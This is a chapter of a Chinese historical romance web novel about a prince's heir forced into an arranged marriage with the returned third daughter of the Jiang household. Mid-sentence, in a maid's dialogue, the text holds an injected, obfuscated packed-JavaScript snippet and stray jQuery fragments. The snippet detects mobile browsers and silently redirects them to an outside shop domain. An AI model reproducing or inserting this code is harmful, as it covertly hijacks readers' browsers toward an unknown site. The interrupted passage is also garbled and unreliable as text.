秦安王府,世子书房。
傅凌霄端正坐于书桌前,凝神专注翻看桌案上的文卷。他穿着一身玄黑,手腕束袖,头顶束发冠,长发自其间而过,随之垂落脑后。
剑眉浓密,眼眸漆黑深邃,有种能看透人心之感,鼻梁高挺,薄唇轻抿,五官俊美,而带着几分凌厉。
他纤长手指翻动文卷,似是看见什么紧要的信息,眉心蹙起些许,眼神随之严肃起来。
书房外有脚步声响起。
继而有侍卫问候的一声:“见过王爷。”
随后有人走进书房,直向傅凌霄所在的书桌走去,又于书桌另一侧前停下脚步。
来者是秦安王府现在的主人,傅凌霄的父亲,秦安王傅定松。
傅凌霄知道来的人是他,却没有抬头,只是一手拿着文卷,另只手提笔将自己找到的信息记录在旁侧白纸上。
傅定松眉头紧锁,显然不满傅凌霄对自己的态度。
他伸出手敲了敲桌面:“别装聋作哑,我有事和你说!”
傅凌霄依旧没抬头,只淡淡开口:“那你说。”
“……”傅定松忍住情绪:“和礼部尚书府姜家的婚事,今晨已经定下。”
傅凌霄蹙了下眉:“我很忙,没空成亲。”
傅定松道:“你已十九,京中权贵子弟,与你年纪相仿的,早已成家,甚至也有人已有儿女在侧。你虽忙于诏刑司之事,却也不能将成家之事抛于脑后。”
“何况,这是你母亲生前为你定下的婚事,是她的遗愿。你要拒绝?”
傅凌霄:“……”
听到母亲,他写字的动作顿了顿,握着笔杆的手不自觉用力按了些。然后抬起了头。
傅定松神色凝重,眼中带着些苛责,也有着不允许傅凌霄拒绝和姜家这门亲事的威严。
傅凌霄放下笔:“据我所知,姜家二小姐与五皇子关系亲密,怎会答应与秦安王府的亲事?”
傅定松负手在身后:“要与你成亲的,是姜家三小姐,姜岁。”
傅凌霄一愣,显然对此人没有任何印象。
傅定松解释:“姜家三小姐当年出生时不顺,自幼体弱,在她四岁时被送去了南郡的外祖家静养,如今身体好转被姜家接回来京城。”
“幼时之事,你或许已不记得。但你母亲那时候时常带你去姜家做客,你应在姜家见过她。”
“姜家二小姐是京城有名的美人,与她孪生的妹妹定然不差,必定是配得上你的。”
傅定松话语肯定,不像是来和傅凌霄商量,而是来此通知他即将要和姜家三小姐成亲的事。
傅凌霄再做挣扎:“我最近很忙,没空。”
傅定松问:“那你何时有空?”
傅凌霄道:“今年之内,都没空。”
傅定松:“……”
他背在身后的双手握紧成拳,嗓音随之冷冽了些:“既然如此,那你只需抽出一日的时间,婚礼之事,府里来安排!”
“大婚之前,你忙你的,大婚当日,你出现即可。其余的,无需你来操心。”
他眼神坚定,已经做出决定。
傅凌霄知晓傅定松的性子,既这样说了,之后不管自己如何言说,这门亲事都只会按照他所计划的进行。
可傅凌霄偏偏不愿意妥协。
他正欲开口拒绝时,傅定松先一步开口:“傅凌霄,这是你母亲的遗愿!”
傅凌霄:“……”
傅定松说:“婚期定在下月初二,你将你的事情安排好,那一日必须要腾出时间来,就这样。”
言罢,不等傅凌霄再有别的反应,傅定松转身毫不犹豫大步走出书房,没给傅凌霄再拒绝的余地。
傅凌霄坐于书桌前,拿着文卷的那只手暗暗用力,将纸张捏皱了些。
他闭眼,深吸口气后,将胸口那不稳的气息慢慢呼出。稍后睁眼,心绪已恢复正常。
以前没听傅定松提起母亲,这种时候倒是拿母亲的遗愿来压自己。当年母亲去世时,他正在学堂上课并不在母亲身边,回来后才得知母亲离世的消息。
那所谓遗愿,也不过是傅定松的一面之词。
母亲当年病重,遗愿怎么会是让当时不过八岁的自己记得要娶姜家小姐呢?怎么想都有些不合情理。
但和姜家的婚事,的确是母亲和姜夫人一同商议定下的。只是他并不记得傅定松口中自己小时候见过的那位姜家三小姐,也不知晓她如今是何模样,是个怎么样的人。
傅凌霄往外唤了一声:“孟安。”
书房外守着的侍卫立即走进来,于书桌前站定脚步,继而拱手行礼:“世子,有何吩咐?”
傅凌霄交代:“去打听一下礼部尚书府姜家那位三小姐的事情,越详细越好。”
孟安道:“是。”
另一边,礼部尚书府。
姜岁闲来无事,让悦悦去集市上买了一盒未曾打磨过的菩提子,找来两块用来打磨玉石的磨砂石与砂纸。她衣袖挽至手肘处,坐在院中石桌前,一边晒太阳,一边慢慢打磨手里的菩提子。
今晨早饭后,她得知了自己和秦安王世子的婚事已定的消息,婚期就在下月初二。
而今日已是本月二十五日,距离成亲只有七日。
如此近的婚期,这般着急的大婚,像是有种担心她会临时改变主意逃跑的感觉。
午后,秦安王府的聘礼送来姜家,然后被送到了姜岁面前。
大大小小的礼箱上系着大红丝绸,绑着大红花,看起来很是喜庆。
悦悦送来茶,从那些礼箱扫过去,而后视线落回坐在桌前,依旧在慢条斯理打磨菩提子的姜岁身上。
她将茶放去桌上:“小姐,休息会儿,先喝杯茶吧。”
姜岁应了声,手里的动作随即停下。
她在旁边的水盆中净手,用手帕擦拭去水渍后,才将茶杯端起。
茶杯杯壁被热意覆盖,清淡茶香随着热气一并弥漫开。
悦悦看着姜岁淡然的模样,没忍住心中的疑惑去询问:“小姐,下月初二成婚,这时间是否太着急了?您就这样答应了?”
姜岁慢慢饮下一口茶:“我是否答应显然不重要,他们已经定下之事,怕是没有改变的余地。”
从目前来看,不论是礼部尚书府,还是秦安王府,似乎都迫切的想要将这门亲事早日定下,成婚之期是越近越好,巴不得快些、再快一些将此事尘埃落定。
悦悦叹了口气,很是无奈,看向姜岁的眼神中带着些心疼。
早知道要是会这样,就不该让小姐答应回来京城的。这里规矩真是多,说着婚期将近,就不让小姐出门,搞得小姐百无聊赖的只能在院子里磨菩提子打发时间,以前在南郡可没有这样的事。
姜府的人难道是怕小姐出门后跑了不成?!
悦悦往外看了眼,确定没别的人在时,她在姜岁身边蹲下,小心着压低声音:“小姐,姜府的人好奇怪,京城待着也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711534|144575||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不舒服,要不我们趁他们不注意的时候悄悄的离开这里吧?我们回南郡去吧!”
“回到南郡后,只要您和老太爷说说,他肯定会站在您这边,不会让您随便嫁给一个不认识的男子的!”
姜岁看向悦悦,望着她蹙眉期待的眼神,笑了下。
悦悦不解。
姜岁伸出手摸了摸她的脸:“悦悦,不说这些。”
悦悦眉头拧得更紧了些:“可是小姐,您都不认识那位秦安王世子……万一他日后对您不好,外表良善、实际上却是个穷凶极恶之人怎么办?”
姜岁道:“眼下的情况,只能走一步看一步了。”
她很清楚,只有她和悦悦两个人,即使侥幸走出了姜府,可未必能离开京城,更别说是回去那有一月路程的南郡了。
何况姜府和秦安王府的婚事已经定下,聘礼都在这儿了,此时反悔,怕是还会生起别的事情。或许会牵连到南郡的外祖父和舅舅一家。
所以,不能回南郡。
傍晚时分,洛清怡带着人来为姜岁量身形尺寸,好做喜服。
之后两日,洛清怡找来了个教她规矩的嬷嬷,让她了解京城出嫁女子的习俗与去到夫家后要遵循的规矩礼数。
以及,她在秦安王府,必须要知晓的一些事。
成亲前一日,姜府将喜服送到姜岁这里,凤冠霞帔一并呈上。
姜岁望着面前那大红如火的喜服,眼眸微动,伸出手去于其上轻轻摩挲了几下。
旁边的侍女开口:“三小姐,奴婢伺候您试穿这喜服吧。”
姜岁说:“不必了,你们下去吧,悦悦来帮我就好。”
听见姜岁的话,悦悦立即走上前来,严肃的表情、高大的身形将前边的两个侍女吓住。两个侍女心惊,向姜岁行礼后连忙退出房间。
姜岁坐下,显然没有要试喜服的意思。
悦悦给她倒了杯茶,随后安静的陪在她身边。
大婚当日。
晨光熹微时分,姜府之人早早的就在准备。洛清怡带着人来到姜岁的院子,吩咐着人收拾,也有人去给她梳妆打扮,将那喜服与凤冠霞帔都穿戴上。
洛清怡满面喜色,姜岁却是一如既往的淡然,没什么多余情绪。
装扮结束后,姜岁坐在梳妆台前,看着镜中浓妆艳裹、珠围翠绕的自己,竟有种陌生之感。
她轻眨眼:“我想一个人待会儿。”
身边的悦悦听见,立即行动,将房间里其余的人都叫出去,随后关上房门,让姜岁独自一人在房中静静心神。
在院中与人说过话的洛清怡过来,想要进房间也被悦悦拦了下来。
房中寂静,姜岁看着镜子里的自己,能听见自己轻轻的呼吸声。
稍许后,镜中倒映出另一个身影。
在姜岁身后那一扇窗,有个人背光而站,看不清他的面容。他的身影被光拉长,半映在姜岁身上。
姜岁透过镜中身影去看身后之人,红唇轻启,嗓音平静:“你来晚了。”
“我要嫁人了。”
那人身影微动,放在窗沿上的手忽用力,将木窗沿捏下一个手印。
随后带着隐忍的低沉声音响起:“我去杀了傅凌霄。”
“然后,带你离开京城。”
姜岁尚未言语,眨眼之刹,镜中之人已然消失。
她转头,身后窗子已经瞧不见那人的身影,只有两片粉嫩桃花花瓣,落在先前留下手印的位置。